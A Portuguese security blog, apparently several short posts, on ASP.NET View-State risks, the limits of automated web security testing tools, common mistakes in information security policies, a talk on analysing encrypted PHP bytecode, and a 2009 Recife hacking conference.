Um problema do View-State é o mal uso dele, muitos desenvolvedores sem saber dos riscos acabam armazenando muitos dados na sessão usando o recurso. Com isso, além de causar problemas de performance, ele pode expor dados confidenciais, pois os dados podem ser visualizados usando ferramentas que decodifiquem o view-state.

A boa notícia é que segundo um post no InfoQ, o ASP.NET vai depender menos do view-state e se estuda a possibilidade dele vir desabilitado por default. De qualquer maneira, cuidado com o view-state em aplicações desenvolvidas em ASP.NET.

Segurança de aplicação e as ferramentas de teste

Lendo o post do Eduardo sobre a recente divulgação de um comparativo entre três ferramentas de teste de aplicações web, resolvi falar um pouco sobre o que penso sobre o tema.

Pra mim o problema todo é comparar bananas com laranjas. As ferramentas realmente não irão substituir a análise humana, são coisas distintas e complementares.

Outro ponto é, o tipo de ferramenta, as ferramentas cumprem o seu papel, o problema é o uso, expectativa que, se tem delas. O erro mais comum é comprar uma ferramenta e achar que ela irá cumprir todos os pontos relacionados a segurança de aplicação. Alguns vendedores podem usar este argumento, mas no geral todas deixam claro qual o seu propósito.

Para se garantir a segurança de uma aplicação várias atividades devem ser executadas. Atividades que eu classifico como antes, durante e depois do desenvolvimento da aplicação.

Antes

• Treinamento e capacitação
• Implementação de um processo que garanta que boas práticas de desenvolvimento sejam seguidas

Durante

• Acompanhamento e validação de requisitos de segurança
• Testes específicos durante o desenvolvimento

Depois

• Testes black-box buscando verificar a eficácia dos controles adotados durante o desenvolvimento

Portanto, as ferramentas funcionam, mas tem seu propósito bem claro. Apenas uma ferramenta de source review não resolve todos os problemas, assim como uma ferramenta de testes black-box também não.

E o ponto fundamental nesta comparação é: mesmo as ferramentas precisam de alguém capacitado para tirar o melhor delas e interpretar seus resultados e transformá-los em ações práticas para melhorar a segurança das aplicações.

Comunicação durante uma crise/incidente

Para muitos falar em público já é complicado, imagina durante uma crise grave envolvendo vítimas? Existem alguns guides sobre o tema, mas este link tem um apanhado bem completo: Golden rules for the crisis spokesperson.

Política de Segurança da Informação, como não fazer

Eu assino o feed do efetividade há muito tempo, sempre gostei do conteúdo, agora hoje fiquei surpreso com um post: Política de Segurança de Informação: um modelo de como não fazer.

No post ele comenta sobre falhas comuns em PSI (Políticas de Segurança da Informação), não esperem uma avaliação técnica, mas sim um apanhado de coisas óbvias e simples que muito profissional de segurança sênior não é capaz de evitar quando desenvolve uma PSI. Recomendo a leitura, mas segue alguns pontos.

"Tranque tanto a infra-estrutura, que trabalhar se torne complicado demais. Complemento do comentário acima. E há um risco adicional: os usuários vão encontrar “jeitinhos”, como o uso de cópias locais, versões antigas e mídias não-autorizadas." Isso aqui é comum entre profissionais de segurança que só viram as coisas nos livros.


"Diga “não” sempre que lhe solicitarem alguma aprovação. Assumindo que você tenha força suficiente para sustentar um comportamento deste tipo, aí quem vai encontrar jeitinhos serão departamentos inteiros, filiais, e outros agregados." Esta é hilária, quem nunca viu aquele cara do comercial, executivo, soltando pérolas: "Segurança é o escambal eu quero é vender".

"Imponha requisitos de segurança sem as ferramentas e treinamento adequados. Vira letra morta, e ainda por cima custa caro. Segurança precisa ser praticada por todos, o que pressupõe ferramentas e educação." Exatamente isto, a maioria das PSI são "compliance" e nunca aumentaram em nada a segurança das organizações.

"Espere que o SSL resolva todas as questões de segurança de seus aplicativos web. SSL é só o mínimo necessário, e o “cadeadinho fechado” no rodapé do navegador não protege contra as falhas na programação ou na arquitetura." Cadeadinho é ótimo, engraçado que até hoje eu vejo "especialista" falando do cadeadinho na televisão.

"Proíba o uso de pen drives, sem delimitar o acesso à Internet. Os mesmos arquivos que podem entrar ou sair via pen-drive podem fazê-lo via uma grande variedade de sites na Internet. Pen drives são uma
ferramenta, mas o que deve ser restrito é trazer ou levar os arquivos não autorizados que se queira impedir. Só proibir os pen drives é incômodo e ineficaz." Esta é para aqueles que querem implementar todo tipo de controle de end-point e acham que estão seguros.

"Adote novas tecnologias antes que elas tenham maturidade suficiente. Folders, livretos, exposições e as conversas dos vendedores devem ser tomados em conjunto com doses saudáveis de consideração" Bota dose de consideração nisso.

"Contrate alguém só porque ele tem um monte de certificações." Ah, não esqueça de pedir os certificados impressos.

"Exija que seus usuários troquem de senha com muita frequência. …e eles adotarão esquemas fáceis de lembrar (e quebrar), ou escreverão as senhas em algum lugar de fácil acesso." Falar sobre política de senhas merece um post a parte, mas no geral é só um copy-paste de uma política pra outra, a senha tem que ter no mínimo trocentos caracteres...Hum o mainframe só aceita 4 e numérico, F&^&^*&^$&^%^%.

"Ignore requisitos legais. Não é razoável: proibir o que uma norma superior permite, permitir o que a lei proíbe, atribuir a si mesmo o poder de realizar verificações ou praticar ações que potencialmente
violem direitos alheios. Mesmo assim muita gente tenta, todos os dias, e se dá mal na hora de colocar em prática." Isso, monitora, coloca keylogger, as máquinas são da empresa e está na política que vai ser monitorado.

"Assuma que os usuários irão ler a política de segurança porque você pediu a eles. Eles só o farão se precisarem muito. Publicar pode ser o suficiente para que eles venham a conhecer as linhas gerais, eventualmente distorcidas pela Rádio Corredor. Para que os usuários conheçam uma política
detalhadamente, é preciso recorrer a outros meios de educação. Na prática, você não pode assumir nem mesmo que toda a equipe de TI, ou que a maioria dos executivos, vá ler a norma." Se você não vai fazer nada para implementar a política, nem escreva, salve algumas árvores.

"Crie políticas de segurança que você não poderá fazer cumprir. Uma norma cujo cumprimento não é (ou não pode ser) exigido pode ser até mesmo pior do que a ausência de normatização, e acaba servindo apenas para punir culpados depois que a porta já estiver arrombada e as vacas
tiverem fugido do estábulo." Quanto mais diretrizes melhor, é mais compliance.

"Assuma que as políticas não se aplicam aos executivos. Se houver exceções, elas devem constar na norma, e não podem comprometer sua eficácia. Pouco adianta todo o restante do esforço se um gerente puder trazer um pen drive de casa para instalar um programa ou compartilhar um arquivo em uma máquina da rede local. Uma variante do mesmo erro: “Assuma que as políticas não se aplicam ao pessoal de TI”." Executivos? Geralmente nem a área de segurança cumpre as diretrizes por eles impostas.

"Deixe seu anti-vírus, IDS e outras ferramentas rodando no piloto automático." Ué, paguei uma grana nas ferramentas pra que?

"Tente aplicar o mesmo rigor a todos os ativos de informação, independente do seu perfil de risco. Fica
bem mais caro do que deveria, atrapalha processos sem necessidade, e prejudica bastante a adoção e internalização pelas pessoas envolvidas" Hum, gestão de riscos? Mas eu já tenho uma PSI.

"Dê a alguém o título de Gestor dos Riscos, mas não lhe dê o poder de tomada de decisões correspondente. Ele terá que optar entre se omitir, ou ser o chato que fica apontando
riscos nas atividades alheias podendo ser ignorado, ou ainda saber que está lá só para levar a culpa" Quem está nesta situação deixa um post no blog. Hum melhor não, vai encher meu blog de conteúdo inútil.

"Ignore o quadro geral, e se concentre nas análises quantitativas. É mentalmente desafiante e muito interessante aplicar os modelos matemáticos de quantificação de riscos, mas eles não podem substituir a visão do todo, e sim complementá-la." ROSI, ROS, uhuhu

"Classifique todos os seus dados como “top secret”. Nivelar por cima, nesse caso, tem praticamente o mesmo efeito que nivelar por baixo." É classificação da informação e não "rotulação" da informação.

Recomendo a leitura, você vai dar boas risadas e ainda pode aprender um pouco sobre PSI. Só não vai ficar deprimido caso se enquadre em muitas das coisas listadas.

Analisando código php encriptado

Stefan Esser publicou informações bem interessantes sobre o core do php. Na última 25C3 ele fez uma apresentação demonstrando como é possível fazer análise em códigos encriptados usando bibliotecas de encriptação de Bytecode como: ZendGuard, ionCube PHP Encoder e SourceGuardian.

Segundo o paper mesmo com técnicas de anti-hooking e decryption é possível analisar o código devido as padrões do bytecode que são mantidos. Leitura altamente recomendada.

u-Con 2009

Em Fevereiro vai acontecer em Recife, mais uma edição de uma das principais conferências sobre hacking/security. Estarei lá ministrando um treinamento de Web Hacking Techniques e a Conviso está apoiando o evento.

Mais informações no site da conferência, como diria meu amigo sp0oker: Happy Hacking!